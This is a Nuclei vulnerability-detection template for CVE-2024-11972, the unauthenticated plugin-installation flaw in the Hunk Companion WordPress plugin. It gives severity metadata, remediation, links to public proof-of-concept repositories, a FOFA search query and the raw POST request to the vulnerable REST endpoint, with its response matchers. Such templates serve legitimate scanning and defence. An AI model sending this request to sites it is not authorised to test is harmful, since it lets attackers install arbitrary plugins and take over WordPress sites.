CVE-2024-11972: Hunk Companion < 1.9.0 - Unauthenticated Plugin Installation

id: CVE-2024-11972

info:
  name: Hunk Companion < 1.9.0 - Unauthenticated Plugin Installation
  author: s4e-io
  severity: critical
  description: |
    The plugin does not correctly authorize some REST API endpoints, allowing unauthenticated requests to install and activate arbitrary plugins from the WordPress.org repo, including vulnerable plugins that have been closed.
  impact: |
    Unauthenticated attackers can install and activate arbitrary WordPress plugins including vulnerable or malicious ones, leading to potential site compromise.
  remediation: |
    Update Hunk Companion plugin to version 1.9.0 or later.
  reference:
    - https://wpscan.com/vulnerability/4963560b-e4ae-451d-8f94-482779c415e4/
    - https://github.com/JunTakemura/exploit-CVE-2024-11972
    - https://github.com/Nxploited/CVE-2024-11972-PoC
    - https://github.com/RonF98/CVE-2024-11972-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-11972
    epss-score: 0.54475
    epss-percentile: 0.98958
    cpe: cpe:2.3:a:themehunk:hunk_companion:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: themehunk
    product: hunk_companion
    framework: wordpress
    fofa-query: body="/wp-content/plugins/hunk-companion/"
  tags: cve,cve2024,wordpress,wp,wp-plugin,hunk-companion,vkev,vuln

variables:
  plugin: "{{to_lower(rand_text_alpha(6))}}"
  x-wp-nonce: "{{to_lower(rand_text_alpha(12))}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-json/hc/v1/themehunk-import HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"params":{"templateType":"free","plugin":{"{{plugin}}": "{{plugin}}"},"allPlugins":[{"{{plugin}}": "{{plugin}}/{{plugin}}.php"}]},"headers":{"X-WP-Nonce":"{{x-wp-nonce}}"}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '"\"https:\\\/\\\/'

      - type: word
        part: content_type_2
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d21a64ecfe30b5cd60192c7045e617bdc10078d39165cb31f161b67d5ff31280022100881c429d21f4b96f76155d4c1e2cf8f1239e07a88eee246b739164ce85941d82:922c64590222798bb761d5b6d8e72950

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